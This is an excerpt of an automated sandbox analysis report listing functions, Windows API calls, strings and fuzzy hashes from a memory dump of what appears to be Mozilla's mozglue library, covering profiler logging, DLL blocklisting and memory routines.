Instruction Fuzzy Hash: 67610172A0021A8FDB14CF28C5816AEB3B6FF85344F554A2DDC15EB272FB34A955CB90

Function 6BF7B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6BF203D4,?), ref: 6BF7B955
NtQueryVirtualMemory.NTDLL ref: 6BF7B9A5

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 7b5f9d6950ddbfc87517696677a4cf86dd392a29cc8ee889074a1455c453aaf3
Instruction ID: 17a45f5990b7460acecc83e1bfc813642f10d00ea3a81be8776c8311db1458bb
Opcode Fuzzy Hash: 7b5f9d6950ddbfc87517696677a4cf86dd392a29cc8ee889074a1455c453aaf3
Instruction Fuzzy Hash: BE41F832E002099FDF14DFA9E891A9EB7B6EF89314F10817AE805A7325DB3498458B90

Function 6BF72990 Relevance: 1.8, APIs: 1, Instructions: 322COMMON

Download Yara Rule

APIs

sqrt.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6BF72BB7

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: sqrt
String ID:
API String ID: 1201437784-0
Opcode ID: ddbf2f0529fdbd290fa68818f4c9792265864ac05350cb18b3badb3ea48a9f2f
Instruction ID: 30f34c5baface5123bf9acb7ed27cc6c966a7eaffc131a9c05b7bd0afea84094
Opcode Fuzzy Hash: ddbf2f0529fdbd290fa68818f4c9792265864ac05350cb18b3badb3ea48a9f2f
Instruction Fuzzy Hash: 3AD18172918B418FC716CF38C49061AF7F5BFDA394F15872EE896A7221DB30E8568B41

Function 6BF8BA90 Relevance: 1.8, Strings: 1, Instructions: 510COMMON

Download Yara Rule

Strings

, xrefs: 6BF8BBDA

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: f5472d732a40be2689e0d3f5a411f3fb2699949ec7e013abf0dcbc7d46af3af9
Instruction ID: 09181fa1cdb27b95079ed5b689a58f94a2574b290b655aea109d8599c83029f7
Opcode Fuzzy Hash: f5472d732a40be2689e0d3f5a411f3fb2699949ec7e013abf0dcbc7d46af3af9
Instruction Fuzzy Hash: FB02D473A087468FD700CE28C49076AB7F2EB85744F448E6DE9D5872B6D73E9849C782

Function 6BF1DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d98e2a4b65d30d61efdcc8443640303c3e81b888b7a64be4c3a7e4e28249afd
Instruction ID: e8dc26e09ddd2aa2ab8d0be664902f694c57248b3c719c92177993f15bf3755f
Opcode Fuzzy Hash: 6d98e2a4b65d30d61efdcc8443640303c3e81b888b7a64be4c3a7e4e28249afd
Instruction Fuzzy Hash: 1E42B273A187518BD308CE3CC49175AB3E2BFC9364F054B2EE999A77A4D738D9418B81

Function 6BF876E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: cee7a471ea12467fc16b0752a7920bbef45a844f696e5a5d534569abbb7bc016
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 3332FB72E0061A8FDB14CF98C890A9DFBF2FF88304F6481A9C559A7355D735A986CF90

Function 6BF8B170 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 043d012f9919a62bf8980befea1a543139dd67d4ab40e372f824ba518c63c9cc
Instruction ID: 6a3e8b786dc8d8350b7dbc82b0ac8b8893298dc505fb2c562e6ffb38c3d33357
Opcode Fuzzy Hash: 043d012f9919a62bf8980befea1a543139dd67d4ab40e372f824ba518c63c9cc
Instruction Fuzzy Hash: 01B14833A087468BC701CE38C45135EB7F2AFC6754F058E69E8D49B6B6D33AD8468782

Function 6BF558E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 9bfb268642fba6c7d6dc0dd437fa007ccc9326f4be95161a3146c74ebd1780fa
Instruction ID: 536f161030f99f47ae1182574efac15ab80f510fbe3145820856fe88d7c746cf
Opcode Fuzzy Hash: 9bfb268642fba6c7d6dc0dd437fa007ccc9326f4be95161a3146c74ebd1780fa
Instruction Fuzzy Hash: FC818D76E002199FCB04CFA8D880AEEFBF2FF89314F14416AD551AB351D735A955CB90

Function 6BF57710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 362233413f0a60204056029b65a3be1dc5745c5a396de600628f5531fd1fee35
Instruction ID: c8d1e847f7bf996ea90da5290b37492021aff8ebd570327401341ec932b420a8
Opcode Fuzzy Hash: 362233413f0a60204056029b65a3be1dc5745c5a396de600628f5531fd1fee35
Instruction Fuzzy Hash: DA715C76E002198FCB18CFA8D8905EDBBB6FF89314F24816ED815AB350DB35A905CF90

Function 6BF2C370 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8015b956791a5028fec8b964a354ea7c91d1a6f3956328408b0a55155b01eb75
Instruction ID: 6c313e04aa7aa14bf00315dc03947847a97407149e9fe8d6248a09263db53af0
Opcode Fuzzy Hash: 8015b956791a5028fec8b964a354ea7c91d1a6f3956328408b0a55155b01eb75
Instruction Fuzzy Hash: 5B417B336692818EEBC6E6BC44113AA3FD58323314F1848BEE446C2263C569E51ED361

Function 6BF247C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6BF24801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF24817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF2482D
__Init_thread_footer.LIBCMT ref: 6BF2484A

Part of subcall function 6BF4AB3F: EnterCriticalSection.KERNEL32(6BF9E370,?,?,6BF13527,6BF9F6CC,?,?,?,?,?,?,?,?,6BF13284), ref: 6BF4AB49
Part of subcall function 6BF4AB3F: LeaveCriticalSection.KERNEL32(6BF9E370,?,6BF13527,6BF9F6CC,?,?,?,?,?,?,?,?,6BF13284,?,?,6BF356F6), ref: 6BF4AB7C

GetCurrentThreadId.KERNEL32 ref: 6BF2485F
GetCurrentThreadId.KERNEL32 ref: 6BF2487E
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF2488B
free.MOZGLUE(?), ref: 6BF2493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF24956
free.MOZGLUE(00000000), ref: 6BF24960
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF2499A

Part of subcall function 6BF4AB89: EnterCriticalSection.KERNEL32(6BF9E370,?,?,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284), ref: 6BF4AB94
Part of subcall function 6BF4AB89: LeaveCriticalSection.KERNEL32(6BF9E370,?,6BF134DE,6BF9F6CC,?,?,?,?,?,?,?,6BF13284,?,?,6BF356F6), ref: 6BF4ABD1

free.MOZGLUE(?), ref: 6BF249C6
free.MOZGLUE(?), ref: 6BF249E9

Part of subcall function 6BF35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF35EDB
Part of subcall function 6BF35E90: memset.VCRUNTIME140(6BF77765,000000E5,55CCCCCC), ref: 6BF35F27
Part of subcall function 6BF35E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF35FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6BF24A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6BF24A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6BF24812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6BF24828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6BF247FC

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 9b690608057bd923cc90859a5dbf9049f69c8fb823514a3326c6be4214110f7b
Instruction ID: 69e5c07ea11f0ab27e7a221cc467a5c25c49a8dfa512c1a4989b45e3e3dd404b
Opcode Fuzzy Hash: 9b690608057bd923cc90859a5dbf9049f69c8fb823514a3326c6be4214110f7b
Instruction Fuzzy Hash: 418104739101118BEB00EFACD88575A7775BF42718F100169EA16CB272E7B9E85ACF92

Function 6BF219A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6BF9F760), ref: 6BF219BD
GetCurrentProcess.KERNEL32 ref: 6BF219E5
GetLastError.KERNEL32 ref: 6BF21A27
moz_xmalloc.MOZGLUE(?), ref: 6BF21A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BF21A4F
GetLastError.KERNEL32 ref: 6BF21A92
moz_xmalloc.MOZGLUE(?), ref: 6BF21AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BF21ABA
LocalFree.KERNEL32(?), ref: 6BF21C69
free.MOZGLUE(?), ref: 6BF21C8F
free.MOZGLUE(?), ref: 6BF21C9D
CloseHandle.KERNEL32(?), ref: 6BF21CAE
ReleaseSRWLockExclusive.KERNEL32(6BF9F760), ref: 6BF21D52
GetLastError.KERNEL32 ref: 6BF21DA5
GetLastError.KERNEL32 ref: 6BF21DFB
GetLastError.KERNEL32 ref: 6BF21E49
GetLastError.KERNEL32 ref: 6BF21E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF21E9B

Part of subcall function 6BF22070: LoadLibraryW.KERNEL32(combase.dll,6BF21C5F), ref: 6BF220AE
Part of subcall function 6BF22070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6BF220CD
Part of subcall function 6BF22070: __Init_thread_footer.LIBCMT ref: 6BF220E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6BF21F15
VerSetConditionMask.NTDLL ref: 6BF21F46
VerSetConditionMask.NTDLL ref: 6BF21F52
VerSetConditionMask.NTDLL ref: 6BF21F59
VerSetConditionMask.NTDLL ref: 6BF21F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BF21F6D

Strings

D, xrefs: 6BF21B57

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 5aee932a8b3d15e3931c37c7c90d582b63878106e4400ae8691042faa445af0f
Instruction ID: 611e1b98a191d54fc7dbe5be580c435e02288952dcf30dc3f1170ecb8df98c43
Opcode Fuzzy Hash: 5aee932a8b3d15e3931c37c7c90d582b63878106e4400ae8691042faa445af0f
Instruction Fuzzy Hash: 10F1A172D10325AFEB209F64CC48B9AB7B8FF49700F104199E905A7260D779EE94CFA4

Function 6BF3BB80 Relevance: 37.1, APIs: 17, Strings: 4, Instructions: 388stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(00000000,0000002E), ref: 6BF3BC5A
strchr.VCRUNTIME140(00000001,0000002E), ref: 6BF3BC6E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(accelerator.dll,?), ref: 6BF3BC9E
memset.VCRUNTIME140(?,00000000,00000110), ref: 6BF3BE33
VerSetConditionMask.NTDLL ref: 6BF3BE65
VerSetConditionMask.NTDLL ref: 6BF3BE71
VerSetConditionMask.NTDLL ref: 6BF3BE7D
VerSetConditionMask.NTDLL ref: 6BF3BE89
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BF3BE97
memset.VCRUNTIME140(?,00000000,00000110), ref: 6BF3BEE4
VerSetConditionMask.NTDLL ref: 6BF3BF15
VerSetConditionMask.NTDLL ref: 6BF3BF21
VerSetConditionMask.NTDLL ref: 6BF3BF2D
VerSetConditionMask.NTDLL ref: 6BF3BF39
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6BF3BF47

Part of subcall function 6BF7AAE0: GetCurrentThreadId.KERNEL32 ref: 6BF7AAF8
Part of subcall function 6BF7AAE0: EnterCriticalSection.KERNEL32(6BF9F770,?,6BF3BF9F), ref: 6BF7AB08
Part of subcall function 6BF7AAE0: LeaveCriticalSection.KERNEL32(6BF9F770,?,?,?,?,?,?,?,?,6BF3BF9F), ref: 6BF7AB6B

free.MOZGLUE(00000000), ref: 6BF3BFF0
_strtoui64.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000010), ref: 6BF3C014

Part of subcall function 6BF7AC20: CreateFileW.KERNEL32 ref: 6BF7AC52
Part of subcall function 6BF7AC20: CreateFileMappingW.KERNEL32 ref: 6BF7AC7D
Part of subcall function 6BF7AC20: GetSystemInfo.KERNEL32 ref: 6BF7AC98
Part of subcall function 6BF7AC20: MapViewOfFile.KERNEL32 ref: 6BF7ACB0
Part of subcall function 6BF7AC20: GetSystemInfo.KERNEL32 ref: 6BF7ACCD
Part of subcall function 6BF7AC20: MapViewOfFile.KERNEL32 ref: 6BF7AD05
Part of subcall function 6BF7AC20: UnmapViewOfFile.KERNEL32 ref: 6BF7AD1C
Part of subcall function 6BF7AC20: CloseHandle.KERNEL32 ref: 6BF7AD28
Part of subcall function 6BF7AC20: UnmapViewOfFile.KERNEL32 ref: 6BF7AD37
Part of subcall function 6BF7AC20: CloseHandle.KERNEL32 ref: 6BF7AD43

Part of subcall function 6BF7AE70: GetCurrentThreadId.KERNEL32 ref: 6BF7AE85
Part of subcall function 6BF7AE70: EnterCriticalSection.KERNEL32(6BF9F770,?,6BF3C034), ref: 6BF7AE96
Part of subcall function 6BF7AE70: LeaveCriticalSection.KERNEL32(6BF9F770,?,?,?,?,6BF3C034), ref: 6BF7AEBD

Strings

LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/, xrefs: 6BF3BDDD
accelerator.dll, xrefs: 6BF3BC8E, 6BF3BC9D
LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag, xrefs: 6BF3BF5B
LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?), xrefs: 6BF3BFCF

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ConditionMask$File$CriticalInfoSectionView$CloseCreateCurrentEnterHandleLeaveSystemThreadUnmapVerifyVersionmemsetstrchr$Mapping_strtoui64freestrcmp
String ID: LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?)$LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/$LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag$accelerator.dll
API String ID: 3889411031-3373514183
Opcode ID: 9901d2df14137dc5b6d47c4c22253ca72f04c26b8355eb6a10d5aeaa390c6d45
Instruction ID: 8907559f8c8d270e876cef68ca607f55241507c68349baf731a21c53fd7d8731
Opcode Fuzzy Hash: 9901d2df14137dc5b6d47c4c22253ca72f04c26b8355eb6a10d5aeaa390c6d45
Instruction Fuzzy Hash: 9AE117739087219BE720DF28C891B6AB7E5EF85704F044D6DE885872A2DB78E849C7D1

Function 6BF5E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF57090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6BF5B9F1,?), ref: 6BF57107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6BF5DCF5), ref: 6BF5E92D
GetCurrentThreadId.KERNEL32 ref: 6BF5EA4F
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5EA5C
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5EA80
GetCurrentThreadId.KERNEL32 ref: 6BF5EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6BF5DCF5), ref: 6BF5EA92
GetCurrentThreadId.KERNEL32 ref: 6BF5EB11
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6BF5EB3C
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8), ref: 6BF5EB5B

Part of subcall function 6BF55710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BF5EB71), ref: 6BF557AB

Part of subcall function 6BF4CBE8: GetCurrentProcess.KERNEL32(?,6BF131A7), ref: 6BF4CBF1
Part of subcall function 6BF4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF131A7), ref: 6BF4CBFA

Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF24A68), ref: 6BF5945E
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF59470
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF59482
Part of subcall function 6BF59420: __Init_thread_footer.LIBCMT ref: 6BF5949F

GetCurrentThreadId.KERNEL32 ref: 6BF5EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6BF5EBAC

Part of subcall function 6BF594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF594EE
Part of subcall function 6BF594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF59508

GetCurrentThreadId.KERNEL32 ref: 6BF5EBC1
AcquireSRWLockExclusive.KERNEL32(6BF9F4B8,?,?,00000000), ref: 6BF5EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6BF5EBE5
ReleaseSRWLockExclusive.KERNEL32(6BF9F4B8,00000000), ref: 6BF5EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BF5EC46
CloseHandle.KERNEL32(?), ref: 6BF5EC55
free.MOZGLUE(00000000), ref: 6BF5EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6BF5EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6BF5EA9B

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: fa35876874da26ecb1381059fc604151036c3a7b84d6883f867e24da349faa1a
Instruction ID: 854dbee93ba15274b588e00a0f37d5b12bc9a23e709d8f6b4c4a284cd69a3f92
Opcode Fuzzy Hash: fa35876874da26ecb1381059fc604151036c3a7b84d6883f867e24da349faa1a
Instruction Fuzzy Hash: 19A16933610205DFDB00BF28D484B6A77A5FF96314F104029E95987372DB79F86ACBA1

Function 6BF5F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF24A68), ref: 6BF5945E
Part of subcall function 6BF59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF59470
